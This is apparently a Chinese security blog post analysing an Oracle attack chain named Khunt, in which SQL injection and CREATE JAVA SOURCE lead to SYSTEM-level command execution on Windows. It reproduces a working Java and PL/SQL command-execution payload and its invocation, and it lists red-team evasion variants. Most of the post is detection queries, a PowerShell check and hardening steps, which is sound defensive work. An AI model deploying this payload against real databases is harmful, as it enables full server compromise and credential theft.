摘要
野外真实捕获的链式攻击,攻击者不靠系统漏洞CVE,依托Web端SQL注入入口,滥用Oracle内置JVM编译能力,把恶意Java载荷直接写入数据库对象,磁盘无落地文件,绕过文件杀毒,最终拿到Windows平台Oracle服务SYSTEM权限。本文完整复现攻击链路、底层原理、检测脚本、排查清单、加固配置,同时给出红队视角的利用思路与蓝队落地的对抗手段。
1 事件背景与真实攻击现场
2026年7月Huntress对外披露一组野外捕获的攻击流量。攻击者对外网Java Tomcat业务系统发起探测,找到一处存在SQL注入的业务接口,没有使用传统数据库脱库手段,直接把攻击链条延伸到底层操作系统。
很多人会惯性去找对应CVE编号,但这个攻击不存在官方漏洞编号。它不是Oracle产品本身的缺陷,是多层安全配置错误叠加业务漏洞形成的攻击链。历史上oraexec就已经实现过同类技术原型,只是过去极少出现在真实野攻击中,Khunt是这套思路的现代化工程化实现。
受攻击环境基础条件:
- 后端数据库:Oracle 11g‑19c,部署在Windows Server;
- Oracle数据库服务本地运行身份:NT AUTHORITY\SYSTEM;
- Web业务使用的Oracle业务账号,被DBA错误授予
CREATE PROCEDURE权限; - Web业务接口存在SQL注入,攻击者可以通过注入点,直接向数据库发送任意PL/SQL语句;
- 目标服务器部署常规EDR杀毒,仅开启文件层面查杀,未做数据库对象审计与进程树监控。
攻击发生之后,磁盘上找不到exe、dll之类恶意文件。所有恶意Java源码、编译后的class字节码全部存放在Oracle内部schema对象。安全人员登录服务器,浏览磁盘目录,看不到任何可疑载荷,只能从数据库内部、Windows进程树中找到攻击痕迹。
攻击者拿到SYSTEM权限之后执行的实际动作:导出SAM注册表 hive、抓取本地账号哈希、遍历磁盘文件、探测内网连通性,尝试向内网其他机器横向移动。
很多企业的安全防护逻辑存在断层:WebWAF防护注入、主机EDR查杀恶意文件,但数据库内部对象属于防护盲区。WebWAF拦不住已经进入数据库内部的PL/SQL语句;EDR扫描磁盘文件,数据库存储的Java class对象不会落盘,直接绕过文件查杀。
2 第一性原理拆解攻击底层逻辑
抛开攻击工具Khunt本身,剥离所有封装,只看底层成立的必要条件,只要下面全部条件同时成立,攻击就可以完成,和工具版本无关。
条件A:攻击者拥有可控的SQL执行入口
可以是Web SQL注入,也可以是业务账号泄露。攻击者可以以业务账号身份,在Oracle数据库执行任意PL/SQL。条件B:该数据库账号具备
CREATE JAVA SOURCE权限
Oracle内置JVM组件,允许用户在库内创建Java源对象。数据库接收源码之后,在数据库内部完成编译,生成Java class字节码,字节码存储在数据库schema,不会写入服务器磁盘。CREATE JAVA SOURCE依赖CREATE PROCEDURE权限,大量DBA做授权时直接把这个权限批量给到业务账号。条件C:Java存储过程允许调用操作系统API
Oracle Java授权策略默认允许Runtime.exec()调用操作系统命令。Java代码运行在Oracle数据库进程内部。条件D:Windows平台Oracle服务运行账号为SYSTEM
oracle.exe进程以SYSTEM身份启动,Java代码产生的子进程,直接继承父进程权限。执行系统命令就拿到Windows最高权限。
对抗式审查思考:
很多安全人员会把这个攻击归类为Oracle漏洞,去找补丁。但从底层看,Oracle只是提供了一套合法功能。如果删掉其中任意一条前置条件,整条攻击链直接断裂。
- 把业务账号的
CREATE PROCEDURE回收 → 条件B失效,无法上传编译Java源码; - Oracle服务改成普通低权限本地账号运行 → 条件D失效,就算执行命令也拿不到SYSTEM;
- 关闭Oracle JVM组件 → 条件B直接失效;
- 堵住SQL注入入口 → 条件A失效,攻击者没有入口。
这个攻击的可怕之处,不是某个单一高危漏洞,是多层防护同时失效之后产生的权限放大效应。很多企业安全建设只盯着高危CVE,忽略权限配置错误带来的组合风险。
3 完整攻击链路复现
3.1 攻击入口:Web业务SQL注入
对外暴露的Tomcat业务接口,搜索补全接口参数直接拼接用户输入,没有使用参数化查询。攻击者构造注入payload,绕过WAF,把PL/SQL语句送入Oracle数据库。
注意:这里WAF如果只拦截select、union、sleep这类常见注入特征,对
CREATE JAVA SOURCE这类DDL语句识别能力普遍偏弱,很多传统WAF无法拦截这类DDL注入载荷。
攻击者不需要登录数据库客户端,Web接口就可以完成全部载荷部署。
3.2 数据库内部写入恶意Java源码
通过注入点执行CREATE JAVA SOURCE语句,把完整Java源代码存入数据库schema对象。数据库接收到源码,自动内部编译,生成class字节码,持久保存在数据库字典。
整个编译过程全部在oracle.exe进程内部完成,磁盘不会生成java、class文件。EDR扫描磁盘完全看不到载荷。
3.3 创建PL/SQL存储过程做调用封装
Java对象无法直接被普通SQL调用,攻击者创建一系列包装存储过程,名称全部以khunt_作为前缀,对外暴露调用入口。后续攻击者只需要执行khunt_cmd('whoami'),就可以触发Java代码执行系统命令。
3.4 执行系统命令,继承SYSTEM权限
PL/SQL存储过程触发内部Java方法,Java内部调用Runtime.getRuntime().exec(),oracle.exe生成cmd.exe子进程。进程继承父进程SYSTEM身份。返回执行结果,回显到Web注入点。
3.5 后渗透动作
拿到SYSTEM之后,执行注册表导出、抓取凭证、文件遍历、内网探测。
权限继承架构
S[Windows服务控制管理器] -->|启动|O[oracle.exe
运行身份:NT AUTHORITY\SYSTEM]
O -->|内部加载|OJVM[Oracle内置JVM]
OJVM -->|加载数据库内存储的恶意Class|JC[恶意Java代码对象
不在磁盘]
JC -->|Runtime.exec()|CMD[cmd.exe / powershell.exe
继承SYSTEM权限]
4 攻击载荷组件与PL/SQL调用逻辑
Khunt工具包一共6个Java类,配套一批PL/SQL包装存储过程。
| 对象名称 | 功能说明 |
|---|---|
| KhuntCmd | 执行操作系统命令,回显执行输出 |
| KhuntHash | 读取Windows账号哈希,写入磁盘文件 |
| KhuntFS / KhuntFS2 | 文件读取、目录遍历、文件搜索 |
| KhuntT | 连通性测试,验证载荷部署成功 |
| KhuntUnzip | 服务器本地解压压缩包 |
示例简化版恶意Java源码,和真实Khunt逻辑对齐,仅用于安全研究复现:
publicclassKhuntCmd{publicstaticStringexecCmd(StringcmdStr)throwsException{Processp=Runtime.getRuntime().exec(cmdStr);java.io.BufferedReaderbr=newjava.io.BufferedReader(newjava.io.InputStreamReader(p.getInputStream()));StringBuildersb=newStringBuilder();Stringline;while((line=br.readLine())!=null){sb.append(line).append("\n");}returnsb.toString();}}配套PL/SQL存储过程封装,用于从SQL层调用Java方法:
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "KhuntCmd" AS public class KhuntCmd { public static String execCmd(String cmdStr) throws Exception{ Process p = Runtime.getRuntime().exec(cmdStr); java.io.BufferedReader br = new java.io.BufferedReader( new java.io.InputStreamReader(p.getInputStream()) ); StringBuilder sb = new StringBuilder(); String line; while((line = br.readLine())!=null){ sb.append(line).append("\n"); } return sb.toString(); } } / CREATE OR REPLACE FUNCTION khunt_cmd(p_cmd IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'KhuntCmd.execCmd(java.lang.String) return java.lang.String'; /攻击者部署完成之后,只需要执行下面语句,就可以拿到系统whoami结果:
select khunt_cmd('whoami') from dual;查询返回NT AUTHORITY\SYSTEM,攻击完成。
对抗式审查点:
很多安全人员审计数据库,只会看表、视图,不会去检查Java source对象、存储过程。攻击者可以修改对象名称,去掉khunt前缀,改成业务系统类似的名字,进一步规避人工排查。
5 野现攻击样本关键行为特征
数据库层行为
- 短时间内出现大量
CREATE JAVA SOURCEDDL语句; - 业务schema下新增大量Java源对象、Java class对象;
- 批量创建匿名存储过程,封装Java调用;
- 普通业务账号,发起Java对象创建操作。
Windows主机层行为
- 父进程
oracle.exe直接派生cmd.exe、powershell.exe; - oracle.exe衍生进程调用
reg.exe save、esentutl.exe导出注册表hive; - 进程命令行出现SAM、SYSTEM、SECURITY注册表文件导出动作;
- Oracle进程向外发起大量内网IP端口探测。
重点:EDR只做文件扫描完全无效。恶意载荷全部保存在Oracle数据库字典,磁盘不存在对应的class、java文件。传统杀毒扫描磁盘,无法发现载荷。只有进程行为审计、数据库审计才能捕获。
6 蓝队检测:完整可复制检测脚本
6.1 Oracle数据库侧检测SQL脚本
直接在Oracle数据库执行,查找可疑Java对象、可疑存储过程。
-- 查找所有Java Source对象 SELECT owner, object_name, object_type, status, timestamp FROM dba_objects WHERE object_type='JAVA SOURCE' ORDER BY timestamp DESC; -- 查找Java Class对象 SELECT owner, object_name, object_type, status, timestamp FROM dba_objects WHERE object_type='JAVA CLASS' ORDER BY timestamp DESC; -- 查找名称含khunt的存储过程(攻击者可改名,仅作为快速筛查) SELECT owner, object_name, object_type, timestamp FROM dba_objects WHERE object_type IN ('PROCEDURE','FUNCTION') AND upper(object_name) LIKE '%KHUNT%' ORDER BY timestamp DESC; -- 审计:查询哪些账号拥有CREATE PROCEDURE权限 SELECT grantee, privilege FROM dba_sys_privs WHERE privilege='CREATE PROCEDURE';注意:攻击者可以修改对象名,不能只靠khunt关键字匹配。必须定期审计业务schema下所有JAVA SOURCE、JAVA CLASS对象。
清理恶意对象示例:
DROP JAVA SOURCE "KhuntCmd"; DROP FUNCTION khunt_cmd;6.2 Windows主机侧检测,PowerShell脚本
检索进程树,告警oracle.exe派生cmd、powershell等高危子进程,可用于EDR自定义检测规则。
<# 检测oracle.exe衍生异常子进程,输出进程树信息 #>Get-WmiObjectWin32_Process|ForEach-Object{$proc=$_$parentId=$proc.ParentProcessId$parentProc=Get-WmiObjectWin32_Process-Filter"ProcessId=$parentId"-ErrorAction SilentlyContinueif($parentProc.Name-eq"oracle.exe"){$riskProcessList= @("cmd.exe","powershell.exe","pwsh.exe","reg.exe","esentutl.exe")if($riskProcessList-contains$proc.Name.ToLower()){[PSCustomObject]@{ParentProcessName =$parentProc.Name ParentPID =$parentIdChildProcessName =$proc.Name ChildPID =$proc.ProcessId CommandLine =$proc.CommandLine CreateTime =$proc.CreationDate}}}}6.3 日志审计要点
- 开启Oracle审计,审计
CREATE JAVA SOURCE、CREATE PROCEDURE操作; - Windows安全日志,监控进程创建事件ID 4688,记录父进程PID、命令行;
- 定期拉取dba_objects视图,对比基线,发现新增JAVA SOURCE对象直接告警。
7 对抗式审查:防守方常见盲区
这里站在攻防对抗视角,列出真实环境下大量企业踩过的坑。
依赖WAF拦截全部风险
WAF擅长拦截Web请求中的union select等注入特征。一旦注入已经成功,攻击者直接在数据库执行DDL,WAF看不到数据库内部执行的PL/SQL语句。WAF无法阻断数据库内部载荷部署。主机安全只做文件查杀
EDR扫描磁盘文件,数据库内部的Java class对象不会落盘。磁盘找不到恶意样本,安全人员直接判定主机无威胁,忽略进程树异常。DBA批量授予业务账号CREATE PROCEDURE权限
开发调试阶段,DBA为了省事,直接给业务账号开大量权限,上线之后没有回收。很多业务系统完全不需要创建存储过程、Java对象,却长期持有该权限。Oracle JVM组件默认开启,几乎无人审计
大量运维人员不知道Oracle存在内置JVM,不清楚可以在数据库内部编译Java代码。几乎不会去查询dba_objects中JAVA SOURCE对象。Oracle Windows服务直接使用SYSTEM运行
部署Oracle时,很多运维直接使用本地系统账号启动服务,图省事。一旦数据库层面被突破,直接拿到服务器最高权限。很多人只关注数据库账号权限,忽略操作系统服务账号权限。只关注公开CVE,忽略业务配置漏洞攻击链
安全扫描器主要扫描已知漏洞CVE,这种权限叠加的链式攻击没有CVE编号,漏洞扫描器不会告警。风险长期潜伏。
8 落地加固配置清单
8.1 Web业务层
- 全部业务查询强制使用参数化查询,杜绝字符串拼接SQL。搜索框、补全接口这类低风险接口同样要做输入校验。
- WAF增加DDL语句特征检测,拦截请求中
CREATE JAVA SOURCE等载荷。 - 上线前做完整SQL注入渗透测试。
8.2 Oracle数据库权限加固
- 回收业务账号
CREATE PROCEDURE权限。业务账号只保留DML必需权限(select,insert,update,delete)。
REVOKE CREATE PROCEDURE FROM 业务账号;- 业务不需要Java存储过程,直接卸载Oracle JVM组件。
卸载JVM操作需要评估业务兼容性,确认业务无Java存储过程再执行。
- 开启数据库审计,对
CREATE JAVA SOURCE、CREATE PROCEDURE操作生成告警。 - 定期巡检dba_objects视图,监控JAVA SOURCE、JAVA CLASS对象新增。
8.3 Windows操作系统侧加固
- 修改Oracle数据库服务运行账号,放弃SYSTEM,使用低权限本地账号运行oracle服务,给账号分配Oracle目录最小必要权限。
- 在EDR中配置自定义规则:父进程oracle.exe产生cmd、powershell、reg.exe、esentutl直接告警。
- 限制Oracle服务账号不能访问SAM、注册表敏感项。
8.4 网络层面
Oracle数据库实例禁止直接暴露公网。Web应用服务器与数据库之间配置访问控制,数据库不主动对外网发起出站连接。
9 红队视角:同类攻击扩展思路
Khunt不是孤例,这套攻击模型可以做变种。
- 修改Java对象名称,伪装成业务正常对象,规避关键字检测;
- 不使用khunt_前缀,存储过程名称伪装成业务存储过程;
- Java代码增加混淆,审计看源码无法一眼识别恶意逻辑;
- 除了Runtime.exec,Java对象还可以读写服务器磁盘文件,上传下载文件;
- 相同逻辑也可以用于Linux平台Oracle,区别只是拿到oracle用户权限,不是SYSTEM。
蓝队不能只依靠特征关键字匹配,必须回到第一性原理,切断攻击成立的前置条件。只靠IOC特征对抗,攻击者稍微修改载荷,检测规则直接失效。
10 结尾互动
- 你们实际运维环境中,业务Oracle账号是否被分配过
CREATE PROCEDURE这类高危权限? - 你们的主机安全产品,是否已经配置针对oracle.exe衍生子进程的检测告警?欢迎评论区交流。
我之前也写过类似的文章,更多相关内容、心得经验可以来我博客看看~